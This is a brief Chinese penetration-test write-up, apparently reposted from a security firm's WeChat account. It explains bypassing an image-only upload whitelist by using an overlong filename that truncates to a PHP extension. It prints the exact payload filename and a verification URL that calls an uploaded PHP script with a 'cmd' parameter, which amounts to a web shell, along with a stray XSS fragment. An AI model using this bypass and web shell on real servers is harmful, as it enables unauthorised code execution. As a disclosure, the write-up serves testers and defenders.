前言
记某次授权渗透项目
过程
整个站看下来没啥洞,就一些没用的XSS,想着混时长混到下班,开始对着一个上传点狂撸。
这里上传的地方存在白名单,所有图像以外的文件都被禁止上传。后面发现上传的图片上传名未进行时间戳重命名,说明这里存在名称可控。
这里我反复测试文件名的长度。
验证到这里我发现一个规律,上传文件名是由参数doc_xuhao+xuhao+后缀组成的。
比如doc_xuhao是test
xuhao是1
后缀为.jpg
那组合为test1.jpg
测试成功的造成溢出payload:
bbbb.phpbbaasaaaaaaaaaasaaaaaaaabbbbabbdbbbba.phpaaaa..............................................................................................................................................................................................jpg
这里我验证过可截断文件名的长度,这个文件名在
接下来只要反复测试长度就行了。
unicode编码得到相对路径。
验证成功
http://xxx.xxx.xxx.xxx:3399//upload/filemanage/%E5%8D%8E%E5%BA%9Cimgsrcxx%20onerroralert4/%E5%9B%BE%E5%83%8F%E6%95%B0%E6%8D%AE/%E5%8E%9F%E5%A7%8B%E5%9B%BE%E5%83%8F%E6%95%B0%E6%8D%AE/1--bbbb.phpbbaasaaaaaaaaaasBaaaaaaabbbbabbcBBbba.php?cmd=phpinfo();
总结
这个漏洞能找到算是意料之外,渗透测试关键还是在于细节。
天磊卫士|专注网络安全服务
咨询热线:400-654-0108
官网:https://www.uguardsec.com
分支机构:深圳、海口、北京、青岛、汕尾
漏洞扫描|整改加固|渗透测试|APP安全评估|安全运维
系统入网|上线安全评估|代码审计|应急响应|应急演练
原文始发于微信公众号(天磊卫士安全团队):渗透实战 | 长文件名绕过白名单上传漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论